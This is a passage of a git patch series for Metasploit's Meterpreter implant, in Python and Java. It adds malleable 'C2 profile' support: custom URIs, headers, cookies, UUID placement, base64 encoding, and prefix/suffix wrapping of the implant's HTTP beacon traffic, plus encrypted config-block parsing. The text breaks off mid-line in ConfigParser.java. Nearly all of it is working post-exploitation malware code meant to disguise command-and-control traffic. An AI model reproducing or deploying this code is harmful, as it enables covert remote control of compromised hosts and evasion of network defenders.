From c83334b486da3940c8049cab4cf1c5bfbdbb138f Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sat, 21 Mar 2026 13:06:57 +1000 Subject: [PATCH 01/35] First pass of python meterpreter C2 profiles --- python/meterpreter/meterpreter.py | 212 +++++++++++++++++++++++++++--- 1 file changed, 191 insertions(+), 21 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index d5b485fe8..b3dff2256 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -1,4 +1,5 @@ #!/usr/bin/python +import base64 import binascii import code import copy @@ -75,9 +76,11 @@ SESSION_EXPIRATION_TIMEOUT = 604800 SESSION_RETRY_TOTAL = 3600 SESSION_RETRY_WAIT = 10 +CONFIG_BLOCK = '' PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_CONFIG = 2 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 @@ -198,6 +201,11 @@ ENC_NONE = 0 ENC_AES256 = 1 +# C2 encoding flags +C2_ENCODING_NONE = 0 +C2_ENCODING_B64 = 1 +C2_ENCODING_B64URL = 2 + # Packet header sizes PACKET_XOR_KEY_SIZE = 4 PACKET_SESSION_GUID_SIZE = 16 @@ -560,6 +568,22 @@ def packet_get_tlv(pkt, tlv_type): return {} return tlv +def decrypt_packet(pkt, aes_key=None): + if pkt and len(pkt) > PACKET_HEADER_SIZE: + xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE]) + raw = xor_bytes(xor_key, pkt) + pkt_type_off = PACKET_HEADER_SIZE - PACKET_TYPE_SIZE + pkt_type = struct.unpack('>I', raw[pkt_type_off:pkt_type_off+PACKET_TYPE_SIZE])[0] + enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0] + if enc_flag == ENC_AES256 and aes_key and pkt_type != PACKET_TYPE_CONFIG: + iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16] + encrypted = raw[PACKET_HEADER_SIZE+len(iv):] + return AES_CBC(aes_key).decrypt(iv, encrypted) + else: + return raw[PACKET_HEADER_SIZE:] + return None + @export def tlv_pack(*args): if len(args) == 2: @@ -901,6 +925,22 @@ def communication_has_expired(self): def should_retire(self): return self.communication_has_expired or self.request_retire + @staticmethod + def _parse_c2_verb_options(group_bytes): + """Parse GET or POST sub-group TLV bytes into an options dict.""" + opts = {} + opts['uri'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_URI).get('value') + opts['ua'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UA).get('value') + opts['headers'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_HEADERS).get('value') + opts['enc'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC).get('value', C2_ENCODING_NONE) + opts['prefix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX_SKIP).get('value', 0) + opts['suffix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX_SKIP).get('value', 0) + opts['prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX).get('value') + opts['suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX).get('value') + opts['uuid_get'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_GET).get('value') + opts['uuid_header'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_HEADER).get('value') + return opts + @staticmethod def from_request(request): url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] @@ -915,12 +955,19 @@ def from_request(request): headers = {} for h in http_headers.strip().split("\r\n"): p = h.split(':') - headers[p[0].upper()] = ''.join(p[1:0]) + headers[p[0].upper()] = ':'.join(p[1:]).strip() http_host = headers.get('HOST') http_cookie = headers.get('COOKIE') http_referer = headers.get('REFERER') transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host, http_cookie=http_cookie, http_referer=http_referer) + # Parse C2 profile GET/POST sub-groups if present + get_group = packet_get_tlv(request, TLV_TYPE_C2_GET) + if get_group: + transport.c2_get = Transport._parse_c2_verb_options(get_group['value']) + post_group = packet_get_tlv(request, TLV_TYPE_C2_POST) + if post_group: + transport.c2_post = Transport._parse_c2_verb_options(post_group['value']) transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) transport.retry_total = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) transport.retry_wait = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) @@ -956,18 +1003,7 @@ def deactivate(self): return True def decrypt_packet(self, pkt): - if pkt and len(pkt) > PACKET_HEADER_SIZE: - xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE]) - raw = xor_bytes(xor_key, pkt) - enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE - enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0] - if enc_flag == ENC_AES256: - iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16] - encrypted = raw[PACKET_HEADER_SIZE+len(iv):] - return AES_CBC(self.aes_key).decrypt(iv, encrypted) - else: - return raw[PACKET_HEADER_SIZE:] - return None + return decrypt_packet(pkt, self.aes_key) def get_packet(self): self.request_retire = False @@ -1065,6 +1101,62 @@ def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_refere self._http_request_headers['Host'] = http_host self._first_packet = None self._empty_cnt = 0 + self.c2_get = None + self.c2_post = None + + @staticmethod + def _c2_encode(data, enc_flags): + if enc_flags == C2_ENCODING_B64: + return base64.b64encode(data) + elif enc_flags == C2_ENCODING_B64URL: + return base64.urlsafe_b64encode(data).rstrip(b'=') + return data + + @staticmethod + def _c2_decode(data, enc_flags): + if enc_flags == C2_ENCODING_B64: + return base64.b64decode(data) + elif enc_flags == C2_ENCODING_B64URL: + # Add padding back for base64url + padding = 4 - (len(data) % 4) + if padding != 4: + data = data + b'=' * padding + return base64.urlsafe_b64decode(data) + return data + + def _build_request_url(self, c2_opts, uuid=None): + """Build the request URL using C2 profile options.""" + # Start with the base URL (scheme://host:port) + match = re.match(r'(https?://[^/]+)', self.url) + base_url = match.group(1) if match else self.url + uri = c2_opts.get('uri') or '' + url = base_url + '/' + uri.lstrip('/') + + # Place UUID in query parameter if configured + if uuid and c2_opts.get('uuid_get'): + separator = '&' if '?' in url else '?' + url = url + separator + c2_opts['uuid_get'] + '=' + uuid + return url + + def _build_request_headers(self, c2_opts, uuid=None): + """Build request headers from C2 profile options.""" + headers = dict(self._http_request_headers) + if c2_opts.get('headers'): + for h in c2_opts['headers'].strip().split("\r\n"): + p = h.split(':') + headers[p[0].strip()] = ':'.join(p[1:]).strip() + if c2_opts.get('ua'): + headers['User-Agent'] = c2_opts['ua'] + if uuid and c2_opts.get('uuid_header'): + headers[c2_opts['uuid_header']] = uuid + return headers + + def _get_uuid(self): + """Extract the UUID/conn_id portion from the current URL.""" + match = re.match(r'https?://[^/]+/(.*?)/?$', self.url) + if match: + return match.group(1).split('/')[-1] + return '' def _get_packet(self): if self._first_packet: @@ -1072,16 +1164,34 @@ def _get_packet(self): self._first_packet = None return packet packet = None - xor_key = None url_h = None - request = urllib.Request(self.url, None, self._http_request_headers) + + if self.c2_get: + uuid = self._get_uuid() + url = self._build_request_url(self.c2_get, uuid) + headers = self._build_request_headers(self.c2_get, uuid) + else: + url = self.url + headers = self._http_request_headers + + request = urllib.Request(url, None, headers) urlopen_kwargs = {} if sys.version_info > (2, 6): urlopen_kwargs['timeout'] = self.communication_timeout try: url_h = urllib.urlopen(request, **urlopen_kwargs) if url_h.code == 200: - packet = url_h.read() + raw_response = url_h.read() + # Strip C2 profile prefix/suffix from response if configured + if self.c2_get: + prefix_skip = self.c2_get.get('prefix_skip', 0) + suffix_skip = self.c2_get.get('suffix_skip', 0) + end = len(raw_response) - suffix_skip if suffix_skip else len(raw_response) + raw_response = raw_response[prefix_skip:end] + # Decode the response based on encoding flags + raw_response = self._c2_decode(raw_response, self.c2_get.get('enc', C2_ENCODING_NONE)) + + packet = raw_response if len(packet) < PACKET_HEADER_SIZE: packet = None # looks corrupt else: @@ -1091,7 +1201,7 @@ def _get_packet(self): if len(packet) != (pkt_length + PACKET_HEADER_SIZE): packet = None # looks corrupt except: - debug_traceback('[-] failure to receive packet from ' + self.url) + debug_traceback('[-] failure to receive packet from ' + url) if not packet: if url_h and url_h.code == 200: @@ -1106,7 +1216,23 @@ def _get_packet(self): return packet def _send_packet(self, packet): - request = urllib.Request(self.url, packet, self._http_request_headers) + if self.c2_post: + uuid = self._get_uuid() + url = self._build_request_url(self.c2_post, uuid) + headers = self._build_request_headers(self.c2_post, uuid) + # Encode the packet based on C2 profile encoding flags + body = self._c2_encode(packet, self.c2_post.get('enc', C2_ENCODING_NONE)) + # Wrap with prefix/suffix + prefix = self.c2_post.get('prefix') or b'' + suffix = self.c2_post.get('suffix') or b'' + if prefix or suffix: + body = prefix + body + suffix + else: + url = self.url + headers = self._http_request_headers + body = packet + + request = urllib.Request(url, body, headers) urlopen_kwargs = {} if sys.version_info > (2, 6): urlopen_kwargs['timeout'] = self.communication_timeout @@ -1756,6 +1882,34 @@ def create_response(self, request): debug_print("[*] sending response packet") return response + tlv_pack(TLV_TYPE_RESULT, result) +def parse_config_block(raw): + config_bytes = decrypt_packet(raw) + + config = {} + + uuid_tlv = packet_get_tlv(config_bytes, TLV_TYPE_UUID) + config['uuid'] = uuid_tlv.get('value', b'\x00' * 16) + + guid_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SESSION_GUID) + config['session_guid'] = guid_tlv.get('value', b'\x00' * 16) + + expiry_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SESSION_EXPIRY) + config['session_expiry'] = expiry_tlv.get('value', SESSION_EXPIRATION_TIMEOUT) + + debug_tlv = packet_get_tlv(config_bytes, TLV_TYPE_DEBUG_LOG) + config['debug_log'] = debug_tlv.get('value') + + key_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SYM_KEY) + config['sym_key'] = key_tlv.get('value') + + transports = [] + for c2_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_C2): + transport = Transport.from_request(c2_tlv['value']) + transports.append(transport) + config['transports'] = transports + + return config + class AES_CBC(object): nrs = {16: 10, 24: 12, 32: 14} S = [ @@ -2029,6 +2183,7 @@ def encrypt(self, pt): l = 256 - len(h) - len(pt) - len(d) p = os.urandom(512).replace(struct.pack('B', 0), struct.pack('')) return self._i2b(pow(self.b2i(h + p[:l] + d + pt), e, m)) +# PATCH-SETUP-ENCRYPTION # _try_to_fork = TRY_TO_FORK and hasattr(os, 'fork') if not _try_to_fork or (_try_to_fork and os.fork() == 0): @@ -2038,12 +2193,27 @@ def encrypt(self, pt): except OSError: pass - if HTTP_CONNECTION_URL and has_urllib: + if CONFIG_BLOCK: + config = parse_config_block(base64.b64decode(CONFIG_BLOCK)) + PAYLOAD_UUID = binascii.b2a_hex(config['uuid']).decode('UTF-8') + SESSION_GUID = binascii.b2a_hex(config['session_guid']).decode('UTF-8') + if config.get('debug_log'): + DEBUGGING = True + DEBUGGING_LOG_FILE_PATH = config['debug_log'] + transport = config['transports'][0] + met = PythonMeterpreter(transport) + met.session_expiry_time = config['session_expiry'] + met.session_expiry_end = time.time() + config['session_expiry'] + for t in config['transports'][1:]: + met.transports.append(t) + elif HTTP_CONNECTION_URL: + if not has_urllib: + raise RuntimeError('HTTP transport requested but urllib is not available') transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT, http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE) + met = PythonMeterpreter(transport) else: # PATCH-SETUP-STAGELESS-TCP-SOCKET # transport = TcpTransport.from_socket(s) - met = PythonMeterpreter(transport) - # PATCH-SETUP-TRANSPORTS # + met = PythonMeterpreter(transport) met.run() From b332db98415f824fdf33e76dc52ad50eeb0b489f Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 16:59:17 +1000 Subject: [PATCH 02/35] Move towards TLV config --- .../main/java/com/metasploit/meterpreter/Meterpreter.java | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index edfc15c84..7ec636a35 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -45,13 +45,7 @@ public class Meterpreter { private long sessionExpiry; protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configBlock) throws MalformedURLException { - byte[] configHandle = new byte[8]; - byte[] configPacket = new byte[configBlock.length - configHandle.length]; - - System.arraycopy(configBlock, 0, configHandle, 0, configHandle.length); - System.arraycopy(configBlock, configHandle.length, configPacket, 0, configPacket.length); - - Config config = ConfigParser.parseConfig(configPacket); + Config config = ConfigParser.parseConfig(configBlock); if (config == null) { return; } From bcb581f5c1f998ebb4b60c87281948b77d8e7918 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:22:35 +1000 Subject: [PATCH 03/35] First pass of C2 for java --- .../metasploit/meterpreter/HttpTransport.java | 303 ++++++++++++++++-- .../meterpreter/core/core_transport_add.java | 27 +- .../com/metasploit/stage/C2VerbConfig.java | 15 + .../com/metasploit/stage/ConfigParser.java | 48 ++- .../com/metasploit/stage/TransportConfig.java | 4 + 5 files changed, 364 insertions(+), 33 deletions(-) create mode 100644 java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 87f3add09..a3d57cdad 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -3,10 +3,13 @@ import com.metasploit.TLVPacket; import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; +import com.metasploit.stage.C2VerbConfig; import com.metasploit.stage.HttpConnection; import com.metasploit.stage.PayloadTrustManager; import com.metasploit.stage.TransportConfig; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.EOFException; @@ -18,6 +21,10 @@ public class HttpTransport extends Transport { + private static final int C2_ENCODING_NONE = 0; + private static final int C2_ENCODING_B64 = 1; + private static final int C2_ENCODING_B64URL = 2; + private URL targetUrl = null; private URL nextUrl = null; private String userAgent; @@ -26,6 +33,8 @@ public class HttpTransport extends Transport { private String proxyPass; private String customHeaders; private byte[] certHash; + private C2VerbConfig c2Get; + private C2VerbConfig c2Post; public HttpTransport(Meterpreter met, String url) throws MalformedURLException { super(met, url); @@ -40,6 +49,8 @@ public HttpTransport(Meterpreter met, String url, TransportConfig transportConfi proxyPass = transportConfig.proxy_pass; certHash = transportConfig.cert_hash; customHeaders = transportConfig.custom_headers; + c2Get = transportConfig.c2Get; + c2Post = transportConfig.c2Post; setTimeouts(transportConfig); } @@ -108,13 +119,29 @@ public String getCustomHeaders() { return this.customHeaders; } + public C2VerbConfig getC2Get() { + return this.c2Get; + } + + public void setC2Get(C2VerbConfig c2Get) { + this.c2Get = c2Get; + } + + public C2VerbConfig getC2Post() { + return this.c2Post; + } + + public void setC2Post(C2VerbConfig c2Post) { + this.c2Post = c2Post; + } + @Override public void disconnect() { } @Override protected boolean tryConnect(Meterpreter met) throws IOException { - URLConnection conn = this.createConnection(); + URLConnection conn = this.createGetConnection(); if (conn == null) { return false; @@ -123,9 +150,17 @@ protected boolean tryConnect(Meterpreter met) throws IOException { DataInputStream inputStream = new DataInputStream(conn.getInputStream()); try { - TLVPacket request = this.readAndDecodePacket(inputStream); + byte[] rawResponse = readAllBytes(inputStream); inputStream.close(); + byte[] decoded = decodeResponse(rawResponse, this.c2Get); + if (decoded.length == 0) { + // reconnect scenario - empty response + return true; + } + + TLVPacket request = this.readAndDecodePacket(new DataInputStream(new ByteArrayInputStream(decoded))); + // things are looking good, handle the packet and return true, as this // is the situation that happens on initial connect (not reconnect) TLVPacket response = request.createResponse(); @@ -150,7 +185,7 @@ protected boolean tryConnect(Meterpreter met) throws IOException { @Override public TLVPacket readPacket() throws IOException { - URLConnection conn = this.createConnection(); + URLConnection conn = this.createGetConnection(); if (conn == null) { return null; @@ -159,9 +194,15 @@ public TLVPacket readPacket() throws IOException { DataInputStream inputStream = new DataInputStream(conn.getInputStream()); try { - TLVPacket request = this.readAndDecodePacket(inputStream); + byte[] rawResponse = readAllBytes(inputStream); inputStream.close(); - return request; + + byte[] decoded = decodeResponse(rawResponse, this.c2Get); + if (decoded.length == 0) { + return null; + } + + return this.readAndDecodePacket(new DataInputStream(new ByteArrayInputStream(decoded))); } catch (EOFException ignored) { } @@ -171,7 +212,15 @@ public TLVPacket readPacket() throws IOException { @Override public void writePacket(TLVPacket packet, int type) throws IOException { - URLConnection conn = this.createConnection(); + // Encode the packet to raw bytes first + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream tempOut = new DataOutputStream(baos); + this.encodePacketAndWrite(packet, type, tempOut); + byte[] packetBytes = baos.toByteArray(); + + byte[] body = encodeRequest(packetBytes, this.c2Post); + + URLConnection conn = this.createPostConnection(); if (conn == null) { return; @@ -179,15 +228,14 @@ public void writePacket(TLVPacket packet, int type) throws IOException { conn.setDoOutput(true); DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream()); - this.encodePacketAndWrite(packet, type, outputStream); + outputStream.write(body); outputStream.close(); DataInputStream inputStream = new DataInputStream(conn.getInputStream()); try { - this.readAndDecodePacket(inputStream); - // not really worried about the response, we just want to read a packet out of it - // and move on + // read and discard the response + readAllBytes(inputStream); inputStream.close(); } catch (EOFException ex) { @@ -250,28 +298,245 @@ private void useNextUrl() { } } - private URLConnection createConnection() { - URLConnection conn = null; + private String getUuidFromUrl() { + String path = this.targetUrl.getPath(); + if (path == null || path.length() <= 1) { + return ""; + } + // Strip leading slash and any trailing slash + path = path.substring(1); + if (path.endsWith("/")) { + path = path.substring(0, path.length() - 1); + } + // Get the last path segment + int lastSlash = path.lastIndexOf('/'); + if (lastSlash >= 0) { + return path.substring(lastSlash + 1); + } + return path; + } + + private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { + if (profile == null || profile.uri == null) { + return this.targetUrl; + } + + String baseUrl = this.targetUrl.getProtocol() + "://" + + this.targetUrl.getHost() + ":" + + this.targetUrl.getPort(); + String uri = profile.uri; + if (!uri.startsWith("/")) { + uri = "/" + uri; + } + + String fullUrl = baseUrl + uri; + + // Add UUID as query parameter if configured + if (profile.uuidGet != null) { + String uuid = getUuidFromUrl(); + if (uuid.length() > 0) { + String separator = fullUrl.indexOf('?') >= 0 ? "&" : "?"; + fullUrl = fullUrl + separator + profile.uuidGet + "=" + uuid; + } + } + + return new URL(fullUrl); + } + + private void applyProfileHeaders(URLConnection conn, C2VerbConfig profile) { + if (profile == null) { + return; + } + if (profile.uuidHeader != null) { + String uuid = getUuidFromUrl(); + if (uuid.length() > 0) { + conn.addRequestProperty(profile.uuidHeader, uuid); + } + } + if (profile.uuidCookie != null) { + String uuid = getUuidFromUrl(); + if (uuid.length() > 0) { + conn.addRequestProperty("Cookie", profile.uuidCookie + "=" + uuid); + } + } + } + + private URLConnection createGetConnection() { try { - conn = this.targetUrl.openConnection(); + URL url = buildProfileUrl(this.c2Get); + URLConnection conn = url.openConnection(); HttpConnection.addRequestHeaders(conn, customHeaders, userAgent); + applyProfileHeaders(conn, this.c2Get); - if (this.targetUrl.getProtocol().equals("https")) { + if (url.getProtocol().equals("https")) { try { PayloadTrustManager.useFor(conn, certHash); } catch (Exception ex) { - // perhaps log? } } + return conn; } catch (IOException ex) { - if (conn != null) { - conn = null; + return null; + } + } + + private URLConnection createPostConnection() { + try { + URL url = buildProfileUrl(this.c2Post); + URLConnection conn = url.openConnection(); + HttpConnection.addRequestHeaders(conn, customHeaders, userAgent); + applyProfileHeaders(conn, this.c2Post); + + if (url.getProtocol().equals("https")) { + try { + PayloadTrustManager.useFor(conn, certHash); + } catch (Exception ex) { + } + } + return conn; + } + catch (IOException ex) { + return null; + } + } + + private static final char[] B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray(); + private static final char[] B64URL_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".toCharArray(); + + private static byte[] base64Encode(byte[] data, char[] alphabet, boolean pad) { + int len = data.length; + int outLen = ((len + 2) / 3) * 4; + char[] out = new char[outLen]; + int i = 0, j = 0; + while (i < len) { + int b0 = data[i++] & 0xFF; + int b1 = (i < len) ? (data[i++] & 0xFF) : 0; + int b2 = (i < len) ? (data[i++] & 0xFF) : 0; + int triplet = (b0 << 16) | (b1 << 8) | b2; + out[j++] = alphabet[(triplet >> 18) & 0x3F]; + out[j++] = alphabet[(triplet >> 12) & 0x3F]; + out[j++] = alphabet[(triplet >> 6) & 0x3F]; + out[j++] = alphabet[triplet & 0x3F]; + } + int padding = (3 - (len % 3)) % 3; + if (pad) { + for (int p = 0; p < padding; p++) { + out[outLen - 1 - p] = '='; } } + String result = new String(out, 0, pad ? outLen : outLen - padding); + try { + return result.getBytes("US-ASCII"); + } catch (java.io.UnsupportedEncodingException e) { + return result.getBytes(); + } + } + + private static byte[] base64Decode(byte[] data) { + // Build reverse lookup — works for both standard and URL-safe alphabets + int[] lookup = new int[128]; + for (int i = 0; i < 128; i++) lookup[i] = -1; + for (int i = 0; i < B64_CHARS.length; i++) lookup[B64_CHARS[i]] = i; + lookup['-'] = 62; + lookup['_'] = 63; + + // Strip padding and whitespace + int len = data.length; + while (len > 0 && (data[len - 1] == '=' || data[len - 1] == '\n' || data[len - 1] == '\r')) { + len--; + } - return conn; + int outLen = (len * 3) / 4; + byte[] out = new byte[outLen]; + int i = 0, j = 0; + while (i < len) { + int b0 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int b1 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int b2 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int b3 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int triplet = (b0 << 18) | (b1 << 12) | (b2 << 6) | b3; + if (j < outLen) out[j++] = (byte)((triplet >> 16) & 0xFF); + if (j < outLen) out[j++] = (byte)((triplet >> 8) & 0xFF); + if (j < outLen) out[j++] = (byte)(triplet & 0xFF); + } + return out; + } + + private static byte[] c2Encode(byte[] data, int enc) { + if (enc == C2_ENCODING_B64) { + return base64Encode(data, B64_CHARS, true); + } else if (enc == C2_ENCODING_B64URL) { + return base64Encode(data, B64URL_CHARS, false); + } + return data; + } + + private static byte[] c2Decode(byte[] data, int enc) { + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { + return base64Decode(data); + } + return data; } -} + private static byte[] decodeResponse(byte[] rawResponse, C2VerbConfig profile) { + if (rawResponse == null || rawResponse.length == 0) { + return new byte[0]; + } + + if (profile == null) { + return rawResponse; + } + + int start = profile.prefixSkip; + int end = rawResponse.length - profile.suffixSkip; + if (start >= end || start < 0 || end > rawResponse.length) { + return rawResponse; + } + + byte[] stripped = new byte[end - start]; + System.arraycopy(rawResponse, start, stripped, 0, stripped.length); + + return c2Decode(stripped, profile.enc); + } + + private static byte[] encodeRequest(byte[] data, C2VerbConfig profile) { + if (profile == null) { + return data; + } + + byte[] encoded = c2Encode(data, profile.enc); + + byte[] prefix = profile.prefix; + byte[] suffix = profile.suffix; + + if ((prefix == null || prefix.length == 0) && (suffix == null || suffix.length == 0)) { + return encoded; + } + + int prefixLen = (prefix != null) ? prefix.length : 0; + int suffixLen = (suffix != null) ? suffix.length : 0; + byte[] result = new byte[prefixLen + encoded.length + suffixLen]; + + if (prefixLen > 0) { + System.arraycopy(prefix, 0, result, 0, prefixLen); + } + System.arraycopy(encoded, 0, result, prefixLen, encoded.length); + if (suffixLen > 0) { + System.arraycopy(suffix, 0, result, prefixLen + encoded.length, suffixLen); + } + + return result; + } + + private static byte[] readAllBytes(DataInputStream in) throws IOException { + ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + byte[] chunk = new byte[4096]; + int bytesRead; + while ((bytesRead = in.read(chunk)) != -1) { + buffer.write(chunk, 0, bytesRead); + } + return buffer.toByteArray(); + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index d18d4411b..66fd4e0c6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -7,6 +7,7 @@ import com.metasploit.meterpreter.TcpTransport; import com.metasploit.meterpreter.HttpTransport; import com.metasploit.meterpreter.command.Command; +import com.metasploit.stage.C2VerbConfig; public class core_transport_add implements Command { @@ -26,6 +27,10 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); + // Parse C2 profile GET/POST sub-groups if present + h.setC2Get(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_GET)); + h.setC2Post(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_POST)); + t = h; } @@ -66,5 +71,25 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons return ERROR_SUCCESS; } -} + private static C2VerbConfig parseC2VerbGroup(TLVPacket request, int groupType) { + TLVPacket verbGroup; + try { + verbGroup = (TLVPacket) request.getValue(groupType); + } catch (IllegalArgumentException e) { + return null; + } + + C2VerbConfig config = new C2VerbConfig(); + config.uri = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_URI, null); + config.enc = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC, new Integer(0)); + config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null); + config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null); + config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0)); + config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0)); + config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null); + config.uuidHeader = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_HEADER, null); + config.uuidCookie = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_COOKIE, null); + return config; + } +} diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java new file mode 100644 index 000000000..17a045013 --- /dev/null +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java @@ -0,0 +1,15 @@ +package com.metasploit.stage; + +public class C2VerbConfig { + + public String uri; + public int enc; // 0=None, 1=Base64, 2=Base64URL + public byte[] prefix; + public byte[] suffix; + public int prefixSkip; + public int suffixSkip; + public String uuidGet; + public String uuidHeader; + public String uuidCookie; + +} diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index bb2c801f5..ed351c72f 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -45,26 +45,48 @@ public static Config parseConfig(byte[] configBytes) { } if (transportConfig.url.startsWith("http")) { - String proxyUrl = null; - byte[] loadedHash; try { - proxyUrl = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL); - } catch (IllegalArgumentException illegalArgumentException) { - } - if (proxyUrl != null) { - transportConfig.proxy_url = proxyUrl; + transportConfig.proxy_url = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL); transportConfig.proxy_user = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, ""); transportConfig.proxy_pass = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, ""); - transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); - transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); - loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); - if (loadedHash.length > 0) { - transportConfig.cert_hash = loadedHash; - } + } catch (IllegalArgumentException illegalArgumentException) { } + + transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); + transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); + + byte[] 